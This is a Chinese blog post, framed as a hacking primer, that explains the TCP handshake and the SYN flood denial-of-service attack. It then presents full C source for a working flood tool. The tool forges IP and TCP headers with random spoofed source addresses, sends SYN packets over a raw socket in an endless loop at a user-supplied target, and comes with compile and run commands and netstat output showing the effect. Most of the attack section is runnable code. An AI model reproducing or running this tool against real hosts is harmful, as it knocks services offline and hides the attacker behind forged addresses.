百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术资源 > 正文

[黑客入门] SYN Flood 攻击原理及实现

lipiwang 2024-10-25 15:50 30 浏览 0 评论

我们知道,TCP 协议是一个可靠的、面向连接的协议。因此,使用 TCP 方式进行网络通信前,首先要进行建立连接。


三次握手过程

TCP 三次握手建立连接的过程如下:

  • 客户端发送一个 SYN 同步报文给服务器端,该报文中包含了本端的初始化序列号,同时设置本段的连接状态为 SYN-SENT。
  • 服务器端收到同步报文后,给客户端回应 SYN+ACK 报文,该报文中包含本段的初始化序列号。同时设置本端连接状态为 SYN-RCVD。
  • 客户端收到服务器端的 SYN+ACK 后,向服务器端发送 ACK 报文进行确认,同时设置本端连接状态为 ESTABLISHED 状态。
  • 服务器端收到 ACK 报文后设置本端连接状态为 ESTABLISHED。


三次握手的完成标志着一个TCP连接的成功建立。


SYN Flood 攻击原理


当客户端向服务器端发送 SYN 包后,对服务器端回应的 SYN+ACK 包不进行处理,会出现什么结果呢?


如下图:

服务器端发送完 SYN+ACK 报文后,会建立一个半连接状态的socket套接口,同时会启动一个定时器,若在超时时间内未收到对方回应的ACK报文,服务器端会进行超时重传 SYN+ACK 报文给客户端,默认重传次数为5次,(重试会经历 1、2、4、8、16 秒,最后一次重试后要等待 32 秒,若仍收不到 ACK 报文,才会关闭连接,故共需等待 63 秒)。


因此,我们知道,若客户端不停的发送 SYN 报文并对服务端回应的报文置之不理,会导致服务器端不停的创建半连接状态的 socket 而耗尽资源,从而服务器端无法处理正常的客户端的连接请求,这就是所谓的 SYN Flood 攻击。


SYN Flood(SYN 泛洪) 攻击是一种广为人知的 DoS (Denial of Service 拒绝服务)攻击。这是一种利用 TCP 协议缺陷,传送大量伪造的 TCP 连接请求,从而使对方 TCP 资源耗尽,停止响应正常的 TCP 连接请求。


SYN Flood 攻击实验


从上面原理知道,SYN Flood 攻击就是客户端发送大量的 SYN 报文个服务端。因此本实验的目的就是构造大量的 SYN 包发向对端。


对于构造 SYN 报文,报文中我们需要构造 TCP 首部 和 IP 首部。


TCP 首部格式如下:



根据首部格式我们定义 TCP 首部格式如下:


//tcp 协议首部
typedef struct tcphdr {
unsigned short source;//源端口号
unsigned short dest;//目的端口号
unsigned int seq;//32位序列号
unsigned int ack_seq;//32位确认号
unsigned char len; // 首部长度
unsigned char flag; // 标志位
unsigned short window; //16位窗口大小
unsigned short check; //16位校验和
unsigned short urg_ptr; //16位紧急指针

}TCPHDR;

  • 在构建 TCP 首部时,由于是构建 SYN 报文,因此需要设置 SYN 标志位为 1 。
  • 对于源端口号和序列号,我们可以设置成随机数,目的的端口设置为被攻击对象的端口号。
  • 由于是第一个同步报文,我们不知道对方的确认号,因此确认号设置为 0。
  • 窗口大小我们也可以随便设置,但尽量不要太小。
  • 校验和检验的范围包括首部和数据两部分,在计算校验和时,要在 TCP 报文段前面加上 12 字节的伪首部。
  • 伪首部的格式如下:

  • 伪首部共占用 12 个字节。包括 32 位源 IP 地址,32 位目的 IP 地址,8 位的保留字节(填充0),8 位的传输层协议号(TCP 为 6,UDP 为 17),16 位的 TCP 报文长度(TCP首部 + 数据)。
  • 紧急指针不关心,可以设置为 0。

根据首部格式,定义伪首部结构如下:


//伪首部
typedef struct pseudohdr {
unsigned int saddr; //源ip
unsigned int daddr; //目的ip
char zeros; // 8位保留字节,为0
char protocol; //传输层协议号,tcp为6
unsigned short length; //16位tcp报文长度(tcp首部 + 数据) 
}PSEUDOHDR;

对于校验和的计算,我们可以直接从网上找到一个封装好的函数。


//生成校验和,tcp校验和的计算包括: 12字节的伪首部 + tcp首部 + tcp数据
unsigned short checkSum(unsigned short *buffer, unsigned short size) 
{ 
unsigned long cksum = 0;

while (size > 1) {
cksum += *buffer++;
size -= sizeof(unsigned short);
}

if (size) {
cksum += *(unsigned char *)buffer;
}

cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16); 

return (unsigned short )(~cksum);
}

由于相同的 IP 地址可以被对方识别从而进行过滤,因此我们需要定义 IP 首部。这样我们在攻击的时候可以设置不同的 IP 地址。


IP 首部格式如下:



根据 IP 首部格式定义 IP 首部结构如下:


// ip 协议首部
typedef struct iphdr {
unsigned char ver_and_hdrLen; // 版本号和ip头部长度
unsigned char tos; // 服务类型
unsigned short tot_len; // 总长度(首部和数据之和的长度)
unsigned short id; // IP包ID
unsigned short frag_off; // 标志位(包括分片偏移量)
unsigned char ttl; // 生命周期
unsigned char protocol; // 上层协议
unsigned short check; // 校验和
unsigned int saddr; // 源IP地址
unsigned int daddr; // 目标IP地址
}IPHDR;


TCP 头部初始化


通过 initTcpHeader 函数完成 TCP 首部的初始化

//tcp首部初始化
void initTcpHeader(TCPHDR *tcph, unsigned short dport)
{
tcph->source = htonl(rand() % 16383);
tcph->dest = htons(dport);
tcph->seq = htonl(rand() % 90000000 + 1234 );
tcph->ack_seq = 0;
//长度占4位
tcph->len = (sizeof(TCPHDR)/4 << 4 | 0);
//设置syn标记,其占第二个bit位
tcph->flag = 0x02;
tcph->window = htons(1024);
tcph->check = 0;
tcph->urg_ptr = 0;
}


TCP 伪首部的初始化


//初始化tcp伪首部
void initPseudoHeader(PSEUDOHDR *phdr, unsigned int srcaddr, unsigned int dstaddr)
{
phdr->zeros = 0;
phdr->protocol = IPPROTO_TCP;
phdr->length = htons(sizeof(struct tcphdr));
phdr->saddr = srcaddr;
phdr->daddr = dstaddr;
}


IP 头部初始化


//ip头部初始化
void initIpHeader(IPHDR *iph, unsigned int saddr, unsigned int daddr)
{
//syn 包只占用一个标记,不占用实际数据,因此报文中真实数据也就只是tcp首部
int len = sizeof(IPHDR) + sizeof(TCPHDR);
iph->ver_and_hdrLen = (4 << 4 | sizeof(IPHDR) / sizeof(unsigned int));
iph->tos = 0;
iph->tot_len = htons(len);
iph->id = 1;
//iph->frag_off = 0x40;
iph->frag_off = htons(IP_DF);
iph->ttl = 255;
iph->check = 0;
iph->protocol = IPPROTO_TCP;
iph->saddr = saddr;
iph->daddr = daddr;
}

SYN 包的构建


//构建 SYN 包
int createSynPacket(char *packet, int pkt_len, unsigned int daddr, 
unsigned short dport)
{
char buf[512] = {0};
int len = 0;
IPHDR iph; // IP 头部
TCPHDR tcph; // TCP 头部
PSEUDOHDR pseudoh; // TCP 伪头部
unsigned int saddr = rand(); // 随机生成一个源IP地址

memset(&iph, 0, sizeof(iph));
memset(&tcph, 0, sizeof(tcph));
memset(&pseudoh, 0, sizeof(pseudoh));

len = sizeof(iph) + sizeof(tcph);

// 初始化头部信息
initIpHeader(&iph, saddr, daddr);
initTcpHeader(&tcph, dport);
initPseudoHeader(&pseudoh, saddr, daddr);

//计算IP校验和
iph.check = checkSum((u_short *)&iph, sizeof(iph));

// 计算TCP校验和
memcpy(buf , &pseudoh, sizeof(pseudoh)); // 复制TCP伪头部
memcpy(buf + sizeof(pseudoh), &tcph, sizeof(tcph)); // 复制TCP头部
tcph.check = checkSum((u_short *)buf, sizeof(pseudoh) + sizeof(tcph));

memset(packet, 0, pkt_len);
memcpy(packet, &iph, sizeof(iph));
memcpy(packet + sizeof(iph), &tcph, sizeof(tcph));

return len;
}

由于 SYN 报文没有实际的数据,因此生成的整个 SYN 包结构如下:



创建原始套接字


由于我们是自定义 TCP/IP 数据包,因此我们需要使用原始套接字进行发送数据。


//创建原始套接字
int createRawSocket()
{
int fd;
int on = 1;

// 创建一个原始套接字, 指定其关注TCP协议
fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (fd == -1) {
return -1;
}

// 设置需要手动构建IP头部
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
close(fd);
return -1;
}

return fd;
}


发送 SYN 数据包


//发送SYN包
int sendSynPacket(int sockfd, unsigned int addr, unsigned short port)
{
struct sockaddr_in skaddr;
char packet[256] = {0};
int pkt_len = 0;

memset(&skaddr, 0, sizeof(skaddr));

skaddr.sin_family = AF_INET;
skaddr.sin_port = htons(port);
skaddr.sin_addr.s_addr = addr;

pkt_len = createSynPacket(packet, 256, addr, port);

return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,
sizeof(struct sockaddr));
}


主函数


#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <arpa/inet.h>


#define IP_DF 0x4000 /* Flag: "Don't Fragment" */


int main(int argc, char *argv[])
{
unsigned int addr;
unsigned short port;
int sockfd;

if (argc < 3) {
printf("Usage: synflood <address> <port>\n");
return -1;
}

addr = inet_addr(argv[1]); // 获取目标IP
port = atoi(argv[2]); // 获取目标端口

if (port < 0 || port > 65535) {
printf("Invalid destination port number: %s\n", argv[2]);
return -1;
}

sockfd = createRawSocket(); // 创建原始socket
if (sockfd == -1) {
printf("Failed to make raw socket\n");
return -1;
}

for (;;) {
if (sendSynPacket(sockfd, addr, port) < 0) { // 发送SYN包
printf("Failed to send syn packet\n");
}
}

close(sockfd);

return 0;
}

主函数的作用就是不停的构造并发送SYN数据包。


对程序进行编译

# gcc -o synf synf.c


运行程序

# ./synf  127.0.0.1  8090


对 本机 上的 8090 端口进行 SYN 攻击。


我们可以使用如下命令来查看 TCP 的连接状态。


# netstat -tunlp | grep tcp
tcp 0 0 127.0.0.1:8090 152.229.44.17:53562 SYN_RCV
tcp 0 0 127.0.0.1:8090 189.129.32.123:7893 SYN_RCV
tcp 0 0 127.0.0.1:8090 10.54.73.127:12562 SYN_RCV
tcp 0 0 127.0.0.1:8090 200.15.144.128:23845 SYN_RCV

...

从上面的结果来看,服务器端生成了很多半连接的 socket,因此我们的攻击时成功的。


总结


本文介绍了 SYN Flood 攻击的原理,通过实验我们可以对 SYN Flood 攻击有了进一步的理解。本文的主要目的只是探讨技术,同时对网络的一种学习。

相关推荐

前端入门——css 网格轨道详细介绍

上篇前端入门——cssGrid网格基础知识整体大概介绍了cssgrid的基本概念及使用方法,本文将介绍创建网格容器时会发生什么?以及在网格容器上使用行、列属性如何定位元素。在本文中,将介绍:...

Islands Architecture(孤岛架构)在携程新版首页的实践

一、项目背景2022,携程PC版首页终于迎来了首次改版,完成了用户体验与技术栈的全面升级。作为与用户连接的重要入口,旧版PC首页已经陪伴携程走过了22年,承担着重要使命的同时,也遇到了很多问题:维护/...

HTML中script标签中的那些属性

HTML中的<script>标签详解在HTML中,<script>标签用于包含或引用JavaScript代码,是前端开发中不可或缺的一部分。通过合理使用<scrip...

CSS 中各种居中你真的玩明白了么

页面布局中最常见的需求就是元素或者文字居中了,但是根据场景的不同,居中也有简单到复杂各种不同的实现方式,本篇就带大家一起了解下,各种场景下,该如何使用CSS实现居中前言页面布局中最常见的需求就是元...

CSS样式更改——列表、表格和轮廓

上篇文章主要介绍了CSS样式更改篇中的字体设置Font&边框Border设置,这篇文章分享列表、表格和轮廓,一起来看看吧。1.列表List1).列表的类型<ulstyle='list-...

一文吃透 CSS Flex 布局

原文链接:一文吃透CSSFlex布局教学游戏这里有两个小游戏,可用来练习flex布局。塔防游戏送小青蛙回家Flexbox概述Flexbox布局也叫Flex布局,弹性盒子布局。它决定了...

css实现多行文本的展开收起

背景在我们写需求时可能会遇到类似于这样的多行文本展开与收起的场景:那么,如何通过纯css实现这样的效果呢?实现的难点(1)位于多行文本右下角的展开收起按钮。(2)展开和收起两种状态的切换。(3)文本...

css 垂直居中的几种实现方式

前言设计是带有主观色彩的,同样网页设计中的css一样让人摸不头脑。网上列举的实现方式一大把,或许在这里你都看到过,但既然来到这里我希望这篇能让你看有所收获,毕竟这也是前端面试的基础。实现方式备注:...

WordPress固定链接设置

WordPress设置里的最后一项就是固定链接设置,固定链接设置是决定WordPress文章及静态页面URL的重要步骤,从站点的SEO角度来讲也是。固定链接设置决定网站URL,当页面数少的时候,可以一...

面试发愁!吃透 20 道 CSS 核心题,大厂 Offer 轻松拿

前端小伙伴们,是不是一想到面试里的CSS布局题就发愁?写代码时布局总是对不齐,面试官追问兼容性就卡壳,想跳槽却总被“多列等高”“响应式布局”这些问题难住——别担心!从今天起,咱们每天拆解一...

3种CSS清除浮动的方法

今天这篇文章给大家介绍3种CSS清除浮动的方法。有一定的参考价值,有需要的朋友可以参考一下,希望对大家有所帮助。首先,这里就不讲为什么我们要清楚浮动,反正不清除浮动事多多。下面我就讲3种常用清除浮动的...

2025 年 CSS 终于要支持强大的自定义函数了?

大家好,很高兴又见面了,我是"高级前端进阶",由我带着大家一起关注前端前沿、深入前端底层技术,大家一起进步,也欢迎大家关注、点赞、收藏、转发!1.什么是CSS自定义属性CSS自...

css3属性(transform)的一个css3动画小应用

闲言碎语不多讲,咱们说说css3的transform属性:先上效果:效果说明:当鼠标移到a标签的时候,从右上角滑出二维码。实现方法:HTML代码如下:需要说明的一点是,a链接的跳转需要用javasc...

CSS基础知识(七)CSS背景

一、CSS背景属性1.背景颜色(background-color)属性值:transparent(透明的)或color(颜色)2.背景图片(background-image)属性值:none(没有)...

CSS 水平居中方式二

<divid="parent"><!--定义子级元素--><divid="child">居中布局</div>...

取消回复欢迎 发表评论: